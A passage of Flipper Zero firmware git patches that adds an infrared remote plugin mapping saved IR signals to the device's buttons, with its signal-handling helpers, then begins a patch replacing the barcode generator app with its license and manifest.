&I_ButtonRight_4x7); + canvas_draw_icon(canvas, 0, 107, &I_Ok_btn_9x9); + canvas_draw_icon(canvas, 0, 118, &I_back_10px); + + canvas_draw_str_aligned( + canvas, + MENU_BTN_TXT_X, + 73, + AlignCenter, + AlignCenter, + furi_string_get_cstr(app->up_hold_button)); + canvas_draw_str_aligned( + canvas, + MENU_BTN_TXT_X, + 83, + AlignCenter, + AlignCenter, + furi_string_get_cstr(app->down_hold_button)); + canvas_draw_str_aligned( + canvas, + MENU_BTN_TXT_X, + 93, + AlignCenter, + AlignCenter, + furi_string_get_cstr(app->left_hold_button)); + canvas_draw_str_aligned( + canvas, + MENU_BTN_TXT_X, + 103, + AlignCenter, + AlignCenter, + furi_string_get_cstr(app->right_hold_button)); + canvas_draw_str_aligned( + canvas, + MENU_BTN_TXT_X, + 113, + AlignCenter, + AlignCenter, + furi_string_get_cstr(app->ok_hold_button)); + canvas_draw_str_aligned(canvas, MENU_BTN_TXT_X, 123, AlignCenter, AlignCenter, "Exit App"); + } +} + +static void app_input_callback(InputEvent* input_event, void* ctx) { + furi_assert(ctx); + + FuriMessageQueue* event_queue = ctx; + furi_message_queue_put(event_queue, input_event, FuriWaitForever); +} + +int32_t infrared_remote_app(void* p) { + UNUSED(p); + FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); + + // App button string + IRApp* app = malloc(sizeof(IRApp)); + app->up_button = furi_string_alloc(); + app->down_button = furi_string_alloc(); + app->left_button = furi_string_alloc(); + app->right_button = furi_string_alloc(); + app->ok_button = furi_string_alloc(); + app->back_button = furi_string_alloc(); + app->up_hold_button = furi_string_alloc(); + app->down_hold_button = furi_string_alloc(); + app->left_hold_button = furi_string_alloc(); + app->right_hold_button = furi_string_alloc(); + app->ok_hold_button = furi_string_alloc(); + app->view_port = view_port_alloc(); + + // Configure view port + view_port_draw_callback_set(app->view_port, app_draw_callback, app); + view_port_input_callback_set(app->view_port, app_input_callback, event_queue); + + // Register view port in GUI + Gui* gui = furi_record_open(RECORD_GUI); + gui_add_view_port(gui, app->view_port, GuiLayerFullscreen); + + InputEvent event; + + Storage* storage = furi_record_open(RECORD_STORAGE); + FlipperFormat* ff = flipper_format_file_alloc(storage); + + DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS); + DialogsFileBrowserOptions browser_options; + dialog_file_browser_set_basic_options(&browser_options, ".txt", &I_sub1_10px); + FuriString* map_file = furi_string_alloc(); + furi_string_set(map_file, "/ext/infrared/remote"); + if(!storage_file_exists(storage, ANY_PATH("infrared/remote"))) { + storage_common_mkdir( + storage, ANY_PATH("infrared/remote")); //Make Folder If dir not exist + } + + bool res = dialog_file_browser_show(dialogs, map_file, map_file, &browser_options); + + furi_record_close(RECORD_DIALOGS); + + // if user didn't choose anything, free everything and exit + if(!res) { + FURI_LOG_I(TAG, "exit"); + flipper_format_free(ff); + furi_record_close(RECORD_STORAGE); + + furi_string_free(app->up_button); + furi_string_free(app->down_button); + furi_string_free(app->left_button); + furi_string_free(app->right_button); + furi_string_free(app->ok_button); + furi_string_free(app->back_button); + furi_string_free(app->up_hold_button); + furi_string_free(app->down_hold_button); + furi_string_free(app->left_hold_button); + furi_string_free(app->right_hold_button); + furi_string_free(app->ok_hold_button); + + view_port_enabled_set(app->view_port, false); + gui_remove_view_port(gui, app->view_port); + view_port_free(app->view_port); + free(app); + furi_message_queue_free(event_queue); + + furi_record_close(RECORD_GUI); + return 255; + } + + InfraredRemote* remote = infrared_remote_alloc(); + FuriString* remote_path = furi_string_alloc(); + + InfraredSignal* up_signal = infrared_signal_alloc(); + InfraredSignal* down_signal = infrared_signal_alloc(); + InfraredSignal* left_signal = infrared_signal_alloc(); + InfraredSignal* right_signal = infrared_signal_alloc(); + InfraredSignal* ok_signal = infrared_signal_alloc(); + InfraredSignal* back_signal = infrared_signal_alloc(); + InfraredSignal* up_hold_signal = infrared_signal_alloc(); + InfraredSignal* down_hold_signal = infrared_signal_alloc(); + InfraredSignal* left_hold_signal = infrared_signal_alloc(); + InfraredSignal* right_hold_signal = infrared_signal_alloc(); + InfraredSignal* ok_hold_signal = infrared_signal_alloc(); + + bool up_enabled = false; + bool down_enabled = false; + bool left_enabled = false; + bool right_enabled = false; + bool ok_enabled = false; + bool back_enabled = false; + bool up_hold_enabled = false; + bool down_hold_enabled = false; + bool left_hold_enabled = false; + bool right_hold_enabled = false; + bool ok_hold_enabled = false; + + if(!flipper_format_file_open_existing(ff, furi_string_get_cstr(map_file))) { + FURI_LOG_E(TAG, "Could not open MAP file %s", furi_string_get_cstr(map_file)); + app->status = 1; + } else { + //Filename Assignment/Check Start + + if(!flipper_format_read_string(ff, "REMOTE", remote_path)) { + FURI_LOG_E(TAG, "Could not read REMOTE string"); + app->status = 1; + } else { + if(!infrared_remote_load(remote, remote_path)) { + FURI_LOG_E(TAG, "Could not load ir file: %s", furi_string_get_cstr(remote_path)); + app->status = 1; + } else { + FURI_LOG_I(TAG, "Loaded REMOTE file: %s", furi_string_get_cstr(remote_path)); + } + } + + //assign variables to values within map file + //set missing filenames to N/A + //assign button signals + size_t index = 0; + + flipper_format_rewind(ff); + if(!flipper_format_read_string(ff, "UP", app->up_button)) { + FURI_LOG_W(TAG, "Could not read UP string"); + furi_string_set(app->up_button, "N/A"); + } else { + if(!infrared_remote_find_button_by_name( + remote, furi_string_get_cstr(app->up_button), &index)) { + FURI_LOG_W(TAG, "Error"); + } else { + up_signal = + infrared_remote_button_get_signal(infrared_remote_get_button(remote, index)); + up_enabled = true; + } + } + + flipper_format_rewind(ff); + if(!flipper_format_read_string(ff, "DOWN", app->down_button)) { + FURI_LOG_W(TAG, "Could not read DOWN string"); + furi_string_set(app->down_button, "N/A"); + } else { + if(!infrared_remote_find_button_by_name( + remote, furi_string_get_cstr(app->down_button), &index)) { + FURI_LOG_W(TAG, "Error"); + } else { + down_signal = + infrared_remote_button_get_signal(infrared_remote_get_button(remote, index)); + down_enabled = true; + } + } + + flipper_format_rewind(ff); + if(!flipper_format_read_string(ff, "LEFT", app->left_button)) { + FURI_LOG_W(TAG, "Could not read LEFT string"); + furi_string_set(app->left_button, "N/A"); + } else { + if(!infrared_remote_find_button_by_name( + remote, furi_string_get_cstr(app->left_button), &index)) { + FURI_LOG_W(TAG, "Error"); + } else { + left_signal = + infrared_remote_button_get_signal(infrared_remote_get_button(remote, index)); + left_enabled = true; + } + } + + flipper_format_rewind(ff); + if(!flipper_format_read_string(ff, "RIGHT", app->right_button)) { + FURI_LOG_W(TAG, "Could not read RIGHT string"); + furi_string_set(app->right_button, "N/A"); + } else { + if(!infrared_remote_find_button_by_name( + remote, furi_string_get_cstr(app->right_button), &index)) { + FURI_LOG_W(TAG, "Error"); + } else { + right_signal = + infrared_remote_button_get_signal(infrared_remote_get_button(remote, index)); + right_enabled = true; + } + } + + flipper_format_rewind(ff); + if(!flipper_format_read_string(ff, "OK", app->ok_button)) { + FURI_LOG_W(TAG, "Could not read OK string"); + furi_string_set(app->ok_button, "N/A"); + } else { + if(!infrared_remote_find_button_by_name( + remote, furi_string_get_cstr(app->ok_button), &index)) { + FURI_LOG_W(TAG, "Error"); + } else { + ok_signal = + infrared_remote_button_get_signal(infrared_remote_get_button(remote, index)); + ok_enabled = true; + } + } + + flipper_format_rewind(ff); + if(!flipper_format_read_string(ff, "BACK", app->back_button)) { + FURI_LOG_W(TAG, "Could not read BACK string"); + furi_string_set(app->back_button, "N/A"); + } else { + if(!infrared_remote_find_button_by_name( + remote, furi_string_get_cstr(app->back_button), &index)) { + FURI_LOG_W(TAG, "Error"); + } else { + back_signal = + infrared_remote_button_get_signal(infrared_remote_get_button(remote, index)); + back_enabled = true; + } + } + + flipper_format_rewind(ff); + if(!flipper_format_read_string(ff, "UPHOLD", app->up_hold_button)) { + FURI_LOG_W(TAG, "Could not read UPHOLD string"); + furi_string_set(app->up_hold_button, "N/A"); + } else { + if(!infrared_remote_find_button_by_name( + remote, furi_string_get_cstr(app->up_hold_button), &index)) { + FURI_LOG_W(TAG, "Error"); + } else { + up_hold_signal = + infrared_remote_button_get_signal(infrared_remote_get_button(remote, index)); + up_hold_enabled = true; + } + } + + flipper_format_rewind(ff); + if(!flipper_format_read_string(ff, "DOWNHOLD", app->down_hold_button)) { + FURI_LOG_W(TAG, "Could not read DOWNHOLD string"); + furi_string_set(app->down_hold_button, "N/A"); + } else { + if(!infrared_remote_find_button_by_name( + remote, furi_string_get_cstr(app->down_hold_button), &index)) { + FURI_LOG_W(TAG, "Error"); + } else { + down_hold_signal = + infrared_remote_button_get_signal(infrared_remote_get_button(remote, index)); + down_hold_enabled = true; + } + } + + flipper_format_rewind(ff); + if(!flipper_format_read_string(ff, "LEFTHOLD", app->left_hold_button)) { + FURI_LOG_W(TAG, "Could not read LEFTHOLD string"); + furi_string_set(app->left_hold_button, "N/A"); + } else { + if(!infrared_remote_find_button_by_name( + remote, furi_string_get_cstr(app->left_hold_button), &index)) { + FURI_LOG_W(TAG, "Error"); + } else { + left_hold_signal = + infrared_remote_button_get_signal(infrared_remote_get_button(remote, index)); + left_hold_enabled = true; + } + } + + flipper_format_rewind(ff); + if(!flipper_format_read_string(ff, "RIGHTHOLD", app->right_hold_button)) { + FURI_LOG_W(TAG, "Could not read RIGHTHOLD string"); + furi_string_set(app->right_hold_button, "N/A"); + } else { + if(!infrared_remote_find_button_by_name( + remote, furi_string_get_cstr(app->right_hold_button), &index)) { + FURI_LOG_W(TAG, "Error"); + } else { + right_hold_signal = + infrared_remote_button_get_signal(infrared_remote_get_button(remote, index)); + right_hold_enabled = true; + } + } + + flipper_format_rewind(ff); + if(!flipper_format_read_string(ff, "OKHOLD", app->ok_hold_button)) { + FURI_LOG_W(TAG, "Could not read OKHOLD string"); + furi_string_set(app->ok_hold_button, "N/A"); + } else { + if(!infrared_remote_find_button_by_name( + remote, furi_string_get_cstr(app->ok_hold_button), &index)) { + FURI_LOG_W(TAG, "Error"); + } else { + ok_hold_signal = + infrared_remote_button_get_signal(infrared_remote_get_button(remote, index)); + ok_hold_enabled = true; + } + } + } + + furi_string_free(remote_path); + + flipper_format_free(ff); + furi_record_close(RECORD_STORAGE); + + bool running = true; + NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION); + + if(app->status) { + view_port_update(app->view_port); + while(running) { + if(furi_message_queue_get(event_queue, &event, 100) == FuriStatusOk) { + if(event.type == InputTypeShort) { + switch(event.key) { + case InputKeyBack: + running = false; + break; + default: + break; + } + } + } + } + } else { + view_port_update(app->view_port); + while(running) { + if(furi_message_queue_get(event_queue, &event, 100) == FuriStatusOk) { + // short press signal + if(event.type == InputTypeShort) { + switch(event.key) { + case InputKeyUp: + if(up_enabled) { + infrared_signal_transmit(up_signal); + notification_message(notification, &sequence_blink_start_magenta); + FURI_LOG_I(TAG, "up"); + } + break; + case InputKeyDown: + if(down_enabled) { + infrared_signal_transmit(down_signal); + notification_message(notification, &sequence_blink_start_magenta); + FURI_LOG_I(TAG, "down"); + } + break; + case InputKeyRight: + if(right_enabled) { + infrared_signal_transmit(right_signal); + notification_message(notification, &sequence_blink_start_magenta); + FURI_LOG_I(TAG, "right"); + } + break; + case InputKeyLeft: + if(left_enabled) { + infrared_signal_transmit(left_signal); + notification_message(notification, &sequence_blink_start_magenta); + FURI_LOG_I(TAG, "left"); + } + break; + case InputKeyOk: + if(ok_enabled) { + infrared_signal_transmit(ok_signal); + notification_message(notification, &sequence_blink_start_magenta); + FURI_LOG_I(TAG, "ok"); + } + break; + case InputKeyBack: + if(back_enabled) { + infrared_signal_transmit(back_signal); + notification_message(notification, &sequence_blink_start_magenta); + FURI_LOG_I(TAG, "back"); + } + break; + default: + running = false; + break; + } + // long press signal + } else if(event.type == InputTypeLong) { + switch(event.key) { + case InputKeyUp: + if(up_hold_enabled) { + infrared_signal_transmit(up_hold_signal); + notification_message(notification, &sequence_blink_start_magenta); + FURI_LOG_I(TAG, "up!"); + } + break; + case InputKeyDown: + if(down_hold_enabled) { + infrared_signal_transmit(down_hold_signal); + notification_message(notification, &sequence_blink_start_magenta); + FURI_LOG_I(TAG, "down!"); + } + break; + case InputKeyRight: + if(right_hold_enabled) { + infrared_signal_transmit(right_hold_signal); + notification_message(notification, &sequence_blink_start_magenta); + FURI_LOG_I(TAG, "right!"); + } + break; + case InputKeyLeft: + if(left_hold_enabled) { + infrared_signal_transmit(left_hold_signal); + notification_message(notification, &sequence_blink_start_magenta); + FURI_LOG_I(TAG, "left!"); + } + break; + case InputKeyOk: + if(ok_hold_enabled) { + infrared_signal_transmit(ok_hold_signal); + notification_message(notification, &sequence_blink_start_magenta); + FURI_LOG_I(TAG, "ok!"); + } + break; + default: + running = false; + break; + } + } else if(event.type == InputTypeRelease) { + notification_message(notification, &sequence_blink_stop); + } + } + } + } + + // Free all things + furi_string_free(app->up_button); + furi_string_free(app->down_button); + furi_string_free(app->left_button); + furi_string_free(app->right_button); + furi_string_free(app->ok_button); + furi_string_free(app->back_button); + furi_string_free(app->up_hold_button); + furi_string_free(app->down_hold_button); + furi_string_free(app->left_hold_button); + furi_string_free(app->right_hold_button); + furi_string_free(app->ok_hold_button); + + infrared_remote_free(remote); + view_port_enabled_set(app->view_port, false); + gui_remove_view_port(gui, app->view_port); + view_port_free(app->view_port); + free(app); + furi_message_queue_free(event_queue); + + furi_record_close(RECORD_NOTIFICATION); + furi_record_close(RECORD_GUI); + + return 0; +} diff --git a/applications/plugins/ir_remote/infrared_remote_button.c b/applications/plugins/ir_remote/infrared_remote_button.c new file mode 100644 index 000000000..1f6315ec5 --- /dev/null +++ b/applications/plugins/ir_remote/infrared_remote_button.c @@ -0,0 +1,37 @@ +#include "infrared_remote_button.h" + +#include + +struct InfraredRemoteButton { + FuriString* name; + InfraredSignal* signal; +}; + +InfraredRemoteButton* infrared_remote_button_alloc() { + InfraredRemoteButton* button = malloc(sizeof(InfraredRemoteButton)); + button->name = furi_string_alloc(); + button->signal = infrared_signal_alloc(); + return button; +} + +void infrared_remote_button_free(InfraredRemoteButton* button) { + furi_string_free(button->name); + infrared_signal_free(button->signal); + free(button); +} + +void infrared_remote_button_set_name(InfraredRemoteButton* button, const char* name) { + furi_string_set(button->name, name); +} + +const char* infrared_remote_button_get_name(InfraredRemoteButton* button) { + return furi_string_get_cstr(button->name); +} + +void infrared_remote_button_set_signal(InfraredRemoteButton* button, InfraredSignal* signal) { + infrared_signal_set_signal(button->signal, signal); +} + +InfraredSignal* infrared_remote_button_get_signal(InfraredRemoteButton* button) { + return button->signal; +} diff --git a/applications/plugins/ir_remote/infrared_remote_button.h b/applications/plugins/ir_remote/infrared_remote_button.h new file mode 100644 index 000000000..f25b759b5 --- /dev/null +++ b/applications/plugins/ir_remote/infrared_remote_button.h @@ -0,0 +1,14 @@ +#pragma once + +#include "infrared_signal.h" + +typedef struct InfraredRemoteButton InfraredRemoteButton; + +InfraredRemoteButton* infrared_remote_button_alloc(); +void infrared_remote_button_free(InfraredRemoteButton* button); + +void infrared_remote_button_set_name(InfraredRemoteButton* button, const char* name); +const char* infrared_remote_button_get_name(InfraredRemoteButton* button); + +void infrared_remote_button_set_signal(InfraredRemoteButton* button, InfraredSignal* signal); +InfraredSignal* infrared_remote_button_get_signal(InfraredRemoteButton* button); diff --git a/applications/plugins/ir_remote/infrared_signal.c b/applications/plugins/ir_remote/infrared_signal.c new file mode 100644 index 000000000..0c7e3d3bf --- /dev/null +++ b/applications/plugins/ir_remote/infrared_signal.c @@ -0,0 +1,300 @@ +#include "infrared_signal.h" + +#include +#include +#include +#include +#include + +#define TAG "InfraredSignal" + +struct InfraredSignal { + bool is_raw; + union { + InfraredMessage message; + InfraredRawSignal raw; + } payload; +}; + +static void infrared_signal_clear_timings(InfraredSignal* signal) { + if(signal->is_raw) { + free(signal->payload.raw.timings); + signal->payload.raw.timings_size = 0; + signal->payload.raw.timings = NULL; + } +} + +static bool infrared_signal_is_message_valid(InfraredMessage* message) { + if(!infrared_is_protocol_valid(message->protocol)) { + FURI_LOG_E(TAG, "Unknown protocol"); + return false; + } + + uint32_t address_length = infrared_get_protocol_address_length(message->protocol); + uint32_t address_mask = (1UL << address_length) - 1; + + if(message->address != (message->address & address_mask)) { + FURI_LOG_E( + TAG, + "Address is out of range (mask 0x%08lX): 0x%lX\r\n", + address_mask, + message->address); + return false; + } + + uint32_t command_length = infrared_get_protocol_command_length(message->protocol); + uint32_t command_mask = (1UL << command_length) - 1; + + if(message->command != (message->command & command_mask)) { + FURI_LOG_E( + TAG, + "Command is out of range (mask 0x%08lX): 0x%lX\r\n", + command_mask, + message->command); + return false; + } + + return true; +} + +static bool infrared_signal_is_raw_valid(InfraredRawSignal* raw) { + if((raw->frequency > INFRARED_MAX_FREQUENCY) || (raw->frequency < INFRARED_MIN_FREQUENCY)) { + FURI_LOG_E( + TAG, + "Frequency is out of range (%X - %X): %lX", + INFRARED_MIN_FREQUENCY, + INFRARED_MAX_FREQUENCY, + raw->frequency); + return false; + + } else if((raw->duty_cycle <= 0) || (raw->duty_cycle > 1)) { + FURI_LOG_E(TAG, "Duty cycle is out of range (0 - 1): %f", (double)raw->duty_cycle); + return false; + + } else if((raw->timings_size <= 0) || (raw->timings_size > MAX_TIMINGS_AMOUNT)) { + FURI_LOG_E( + TAG, + "Timings amount is out of range (0 - %X): %X", + MAX_TIMINGS_AMOUNT, + raw->timings_size); + return false; + } + + return true; +} + +static inline bool infrared_signal_save_message(InfraredMessage* message, FlipperFormat* ff) { + const char* protocol_name = infrared_get_protocol_name(message->protocol); + return flipper_format_write_string_cstr(ff, "type", "parsed") && + flipper_format_write_string_cstr(ff, "protocol", protocol_name) && + flipper_format_write_hex(ff, "address", (uint8_t*)&message->address, 4) && + flipper_format_write_hex(ff, "command", (uint8_t*)&message->command, 4); +} + +static inline bool infrared_signal_save_raw(InfraredRawSignal* raw, FlipperFormat* ff) { + furi_assert(raw->timings_size <= MAX_TIMINGS_AMOUNT); + return flipper_format_write_string_cstr(ff, "type", "raw") && + flipper_format_write_uint32(ff, "frequency", &raw->frequency, 1) && + flipper_format_write_float(ff, "duty_cycle", &raw->duty_cycle, 1) && + flipper_format_write_uint32(ff, "data", raw->timings, raw->timings_size); +} + +static inline bool infrared_signal_read_message(InfraredSignal* signal, FlipperFormat* ff) { + FuriString* buf; + buf = furi_string_alloc(); + bool success = false; + + do { + if(!flipper_format_read_string(ff, "protocol", buf)) break; + + InfraredMessage message; + message.protocol = infrared_get_protocol_by_name(furi_string_get_cstr(buf)); + + success = flipper_format_read_hex(ff, "address", (uint8_t*)&message.address, 4) && + flipper_format_read_hex(ff, "command", (uint8_t*)&message.command, 4) && + infrared_signal_is_message_valid(&message); + + if(!success) break; + + infrared_signal_set_message(signal, &message); + } while(0); + + furi_string_free(buf); + return success; +} + +static inline bool infrared_signal_read_raw(InfraredSignal* signal, FlipperFormat* ff) { + uint32_t timings_size, frequency; + float duty_cycle; + + bool success = flipper_format_read_uint32(ff, "frequency", &frequency, 1) && + flipper_format_read_float(ff, "duty_cycle", &duty_cycle, 1) && + flipper_format_get_value_count(ff, "data", &timings_size); + + if(!success || timings_size > MAX_TIMINGS_AMOUNT) { + return false; + } + + uint32_t* timings = malloc(sizeof(uint32_t) * timings_size); + success = flipper_format_read_uint32(ff, "data", timings, timings_size); + + if(success) { + infrared_signal_set_raw_signal(signal, timings, timings_size, frequency, duty_cycle); + } + + free(timings); + return success; +} + +static bool infrared_signal_read_body(InfraredSignal* signal, FlipperFormat* ff) { + FuriString* tmp = furi_string_alloc(); + + bool success = false; + + do { + if(!flipper_format_read_string(ff, "type", tmp)) break; + if(furi_string_equal(tmp, "raw")) { + success = infrared_signal_read_raw(signal, ff); + } else if(furi_string_equal(tmp, "parsed")) { + success = infrared_signal_read_message(signal, ff); + } else { + FURI_LOG_E(TAG, "Unknown signal type"); + } + } while(false); + + furi_string_free(tmp); + return success; +} + +InfraredSignal* infrared_signal_alloc() { + InfraredSignal* signal = malloc(sizeof(InfraredSignal)); + + signal->is_raw = false; + signal->payload.message.protocol = InfraredProtocolUnknown; + + return signal; +} + +void infrared_signal_free(InfraredSignal* signal) { + infrared_signal_clear_timings(signal); + free(signal); +} + +bool infrared_signal_is_raw(InfraredSignal* signal) { + return signal->is_raw; +} + +bool infrared_signal_is_valid(InfraredSignal* signal) { + return signal->is_raw ? infrared_signal_is_raw_valid(&signal->payload.raw) : + infrared_signal_is_message_valid(&signal->payload.message); +} + +void infrared_signal_set_signal(InfraredSignal* signal, const InfraredSignal* other) { + if(other->is_raw) { + const InfraredRawSignal* raw = &other->payload.raw; + infrared_signal_set_raw_signal( + signal, raw->timings, raw->timings_size, raw->frequency, raw->duty_cycle); + } else { + const InfraredMessage* message = &other->payload.message; + infrared_signal_set_message(signal, message); + } +} + +void infrared_signal_set_raw_signal( + InfraredSignal* signal, + const uint32_t* timings, + size_t timings_size, + uint32_t frequency, + float duty_cycle) { + infrared_signal_clear_timings(signal); + + signal->is_raw = true; + + signal->payload.raw.timings_size = timings_size; + signal->payload.raw.frequency = frequency; + signal->payload.raw.duty_cycle = duty_cycle; + + signal->payload.raw.timings = malloc(timings_size * sizeof(uint32_t)); + memcpy(signal->payload.raw.timings, timings, timings_size * sizeof(uint32_t)); +} + +InfraredRawSignal* infrared_signal_get_raw_signal(InfraredSignal* signal) { + furi_assert(signal->is_raw); + return &signal->payload.raw; +} + +void infrared_signal_set_message(InfraredSignal* signal, const InfraredMessage* message) { + infrared_signal_clear_timings(signal); + + signal->is_raw = false; + signal->payload.message = *message; +} + +InfraredMessage* infrared_signal_get_message(InfraredSignal* signal) { + furi_assert(!signal->is_raw); + return &signal->payload.message; +} + +bool infrared_signal_save(InfraredSignal* signal, FlipperFormat* ff, const char* name) { + if(!flipper_format_write_comment_cstr(ff, "") || + !flipper_format_write_string_cstr(ff, "name", name)) { + return false; + } else if(signal->is_raw) { + return infrared_signal_save_raw(&signal->payload.raw, ff); + } else { + return infrared_signal_save_message(&signal->payload.message, ff); + } +} + +bool infrared_signal_read(InfraredSignal* signal, FlipperFormat* ff, FuriString* name) { + FuriString* tmp = furi_string_alloc(); + + bool success = false; + + do { + if(!flipper_format_read_string(ff, "name", tmp)) break; + furi_string_set(name, tmp); + if(!infrared_signal_read_body(signal, ff)) break; + success = true; + } while(0); + + furi_string_free(tmp); + return success; +} + +bool infrared_signal_search_and_read( + InfraredSignal* signal, + FlipperFormat* ff, + const FuriString* name) { + bool success = false; + FuriString* tmp = furi_string_alloc(); + + do { + bool is_name_found = false; + while(flipper_format_read_string(ff, "name", tmp)) { + is_name_found = furi_string_equal(name, tmp); + if(is_name_found) break; + } + if(!is_name_found) break; + if(!infrared_signal_read_body(signal, ff)) break; + success = true; + } while(false); + + furi_string_free(tmp); + return success; +} + +void infrared_signal_transmit(InfraredSignal* signal) { + if(signal->is_raw) { + InfraredRawSignal* raw_signal = &signal->payload.raw; + infrared_send_raw_ext( + raw_signal->timings, + raw_signal->timings_size, + true, + raw_signal->frequency, + raw_signal->duty_cycle); + } else { + InfraredMessage* message = &signal->payload.message; + infrared_send(message, 2); + } +} diff --git a/applications/plugins/ir_remote/infrared_signal.h b/applications/plugins/ir_remote/infrared_signal.h new file mode 100644 index 000000000..637d859b0 --- /dev/null +++ b/applications/plugins/ir_remote/infrared_signal.h @@ -0,0 +1,45 @@ +#pragma once + +#include +#include +#include + +#include +#include + +typedef struct InfraredSignal InfraredSignal; + +typedef struct { + size_t timings_size; + uint32_t* timings; + uint32_t frequency; + float duty_cycle; +} InfraredRawSignal; + +InfraredSignal* infrared_signal_alloc(); +void infrared_signal_free(InfraredSignal* signal); + +bool infrared_signal_is_raw(InfraredSignal* signal); +bool infrared_signal_is_valid(InfraredSignal* signal); + +void infrared_signal_set_signal(InfraredSignal* signal, const InfraredSignal* other); + +void infrared_signal_set_raw_signal( + InfraredSignal* signal, + const uint32_t* timings, + size_t timings_size, + uint32_t frequency, + float duty_cycle); +InfraredRawSignal* infrared_signal_get_raw_signal(InfraredSignal* signal); + +void infrared_signal_set_message(InfraredSignal* signal, const InfraredMessage* message); +InfraredMessage* infrared_signal_get_message(InfraredSignal* signal); + +bool infrared_signal_save(InfraredSignal* signal, FlipperFormat* ff, const char* name); +bool infrared_signal_read(InfraredSignal* signal, FlipperFormat* ff, FuriString* name); +bool infrared_signal_search_and_read( + InfraredSignal* signal, + FlipperFormat* ff, + const FuriString* name); + +void infrared_signal_transmit(InfraredSignal* signal); diff --git a/applications/plugins/ir_remote/ir_10px.png b/applications/plugins/ir_remote/ir_10px.png new file mode 100644 index 0000000000000000000000000000000000000000..22c986180a2bed76dbe4ff439df1cf9177533c32 GIT binary patch literal 305 zcmeAS@N?(olHy`uVBq!ia0vp^AT}2xkYHHq`AGmsv7|ftIx;Y9?C1WI$O_~uBzpw; zGB8xBF)%c=FfjZA3N^f7U???UV0e|lz+g3lfkC`r&aOZkpafHrx4R1i<>&pI=m5)bWC*+s&X`qmbr;B3<$Ms~3f`-KX%+5*7 zhxan`%;z`w!#>%c-@wM^z<~n{3>VXQv+hhNs0FH5Epd$~Nl7e8wMs5Z1yT$~21bUu z2Bx}(CLxAKR>lTa#unNJ237_J>nn=CplHa=PsvQHglaGb>IpG01*)?$HiBr_e$xf$ PHwFezS3j3^P6 Date: Fri, 17 Mar 2023 22:35:32 +0000 Subject: [PATCH 142/329] Switch to barcode app with saving (#165) --- applications/plugins/barcode_gen/LICENSE | 22 + .../plugins/barcode_gen/application.fam | 11 + .../plugins/barcode_gen/barcode_app.c | 342 ++++++++++++ .../plugins/barcode_gen/barcode_app.h | 87 ++++ .../plugins/barcode_gen/barcode_utils.c | 125 +++++ .../plugins/barcode_gen/barcode_utils.h | 53 ++ .../plugins/barcode_gen/barcode_validator.c | 344 ++++++++++++ .../plugins/barcode_gen/barcode_validator.h | 13 + applications/plugins/barcode_gen/encodings.c | 52 ++ applications/plugins/barcode_gen/encodings.h | 6 + .../plugins/barcode_gen/images/barcode_10.png | Bin 0 -> 161 bytes .../plugins/barcode_gen/views/barcode_view.c | 444 ++++++++++++++++ .../plugins/barcode_gen/views/barcode_view.h | 23 + .../plugins/barcode_gen/views/create_view.c | 493 ++++++++++++++++++ .../plugins/barcode_gen/views/create_view.h | 46 ++ .../plugins/barcode_gen/views/message_view.c | 77 +++ .../plugins/barcode_gen/views/message_view.h | 22 + .../plugins/barcode_generator/application.fam | 15 - .../barcode_generator/barcode_10px.png | Bin 2363 -> 0 bytes .../barcode_generator/barcode_generator.c | 447 ---------------- .../barcode_generator/barcode_generator.h | 115 ---- .../barcode_data/code128_encodings.txt | 202 +++++++ .../barcode_data/code39_encodings.txt | 44 ++ 23 files changed, 2406 insertions(+), 577 deletions(-) create mode 100644 applications/plugins/barcode_gen/LICENSE create mode 100644 applications/plugins/barcode_gen/application.fam create mode 100644 applications/plugins/barcode_gen/barcode_app.c create mode 100644 applications/plugins/barcode_gen/barcode_app.h create mode 100644 applications/plugins/barcode_gen/barcode_utils.c create mode 100644 applications/plugins/barcode_gen/barcode_utils.h create mode 100644 applications/plugins/barcode_gen/barcode_validator.c create mode 100644 applications/plugins/barcode_gen/barcode_validator.h create mode 100644 applications/plugins/barcode_gen/encodings.c create mode 100644 applications/plugins/barcode_gen/encodings.h create mode 100644 applications/plugins/barcode_gen/images/barcode_10.png create mode 100644 applications/plugins/barcode_gen/views/barcode_view.c create mode 100644 applications/plugins/barcode_gen/views/barcode_view.h create mode 100644 applications/plugins/barcode_gen/views/create_view.c create mode 100644 applications/plugins/barcode_gen/views/create_view.h create mode 100644 applications/plugins/barcode_gen/views/message_view.c create mode 100644 applications/plugins/barcode_gen/views/message_view.h delete mode 100644 applications/plugins/barcode_generator/application.fam delete mode 100644 applications/plugins/barcode_generator/barcode_10px.png delete mode 100644 applications/plugins/barcode_generator/barcode_generator.c delete mode 100644 applications/plugins/barcode_generator/barcode_generator.h create mode 100644 assets/resources/apps_data/barcode_data/code128_encodings.txt create mode 100644 assets/resources/apps_data/barcode_data/code39_encodings.txt diff --git a/applications/plugins/barcode_gen/LICENSE b/applications/plugins/barcode_gen/LICENSE new file mode 100644 index 000000000..4c02d8221 --- /dev/null +++ b/applications/plugins/barcode_gen/LICENSE @@ -0,0 +1,22 @@ + +MIT License + +Copyright (c) 2023 Alan Tsui + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. \ No newline at end of file diff --git a/applications/plugins/barcode_gen/application.fam b/applications/plugins/barcode_gen/application.fam new file mode 100644 index 000000000..72c8aa114 --- /dev/null +++ b/applications/plugins/barcode_gen/application.fam @@ -0,0 +1,11 @@ +App( + appid="barcode_app", + name="Barcode", + apptype=FlipperAppType.EXTERNAL, + entry_point="barcode_main", + requires=["gui", "storage"], + stack_size=2 * 1024, + fap_category="Misc", + fap_icon="images/barcode_10.png", + fap_icon_assets="images", 